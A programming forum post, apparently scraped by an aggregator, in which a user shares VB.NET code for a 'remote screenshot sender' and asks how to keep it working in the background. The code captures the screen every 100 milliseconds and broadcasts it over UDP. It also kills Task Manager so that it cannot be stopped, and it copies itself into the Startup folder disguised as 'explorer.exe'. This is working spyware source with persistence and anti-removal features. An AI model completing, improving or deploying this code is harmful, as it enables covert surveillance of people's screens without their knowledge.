Quantcast
Channel: Programming Forums
Viewing all articles
Browse latest Browse all 51036

Problem with remote screenshot sender

$
0
0
Hello everyone

I made a project where the following code goes in a client application and it sends a screenshot through the network to my server application.
The problem is that when the form is not in focus, no screenshots are sent.
So, could you suggest a way that this program can have normal functionality in the background?
(It blocks taskmgr so you can't stop it running and it copies itself to startup.)

Here's my code:

Imports System.Drawing.Imaging
Imports System.IO
Imports System.Net
Imports System.Net.Sockets
Imports System.Threading
Imports System.Text
Imports System.Runtime.InteropServices
Public Class Form1
    Private Const broadcastAddress As String = "255.255.255.255"
#Region "Send Images"
    Const port2 As Integer = 54542
    Private sendingClient2 As UdpClient
    Private Sub InitializeSender2()
        sendingClient2 = New UdpClient(broadcastAddress, port2)
        sendingClient2.EnableBroadcast = True
    End Sub
    Public toSend2 As String
    Dim data2() As Byte
    Public Shared Sub go2()
        Form1.data2 = Encoding.ASCII.GetBytes(Form1.toSend2)
        Try
            Form1.sendingClient2.Send(Form1.data2, Form1.data2.Length)
        Catch ex As Exception
            Form1.InitializeSender2()
        End Try
    End Sub
#End Region
    Private receivingThread As Thread
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        InitializeSender2()
        Timer1.Enabled = True
        Timer1.Interval = 100
    End Sub
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Try
            Dim bounds As Rectangle
            Dim screenshot As System.Drawing.Bitmap
            Dim graph As Graphics
            bounds = Screen.PrimaryScreen.Bounds
            screenshot = New System.Drawing.Bitmap(bounds.Width, bounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb)
            graph = Graphics.FromImage(screenshot)
            Try
                graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy)
            Catch ex As Exception
            End Try
            Dim b As New Bitmap(screenshot, 800, 500)
            toSend2 = ImageToBase64String(b, ImageFormat.Jpeg)
            go2()
            Dim r = Process.GetProcesses
            For Each t In r
                If t.ProcessName.Contains("taskmgr") Then
                    t.Kill()
                End If
            Next
        Catch ex As Exception
        End Try
        Application.DoEvents()
    End Sub
    Public Shared Function ImageToBase64String(ByVal image As Image, ByVal imageFormat As ImageFormat)
        Using memStream As New MemoryStream
            image.Save(memStream, imageFormat)
            Dim result As String = Convert.ToBase64String(memStream.ToArray())
            memStream.Close()
            Return result
        End Using
    End Function
    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
        Try
            IO.File.Copy(Application.ExecutablePath, "C:\Users\" + Environment.UserName + "\Appdata\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\explorer.exe")
        Catch ex As Exception
        End Try
    End Sub
End Class




I would like a reply ASAP please :)

ONE OTHER THING

The client app is the one that isn't working properly, not the server one

Viewing all articles
Browse latest Browse all 51036

Trending Articles



<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>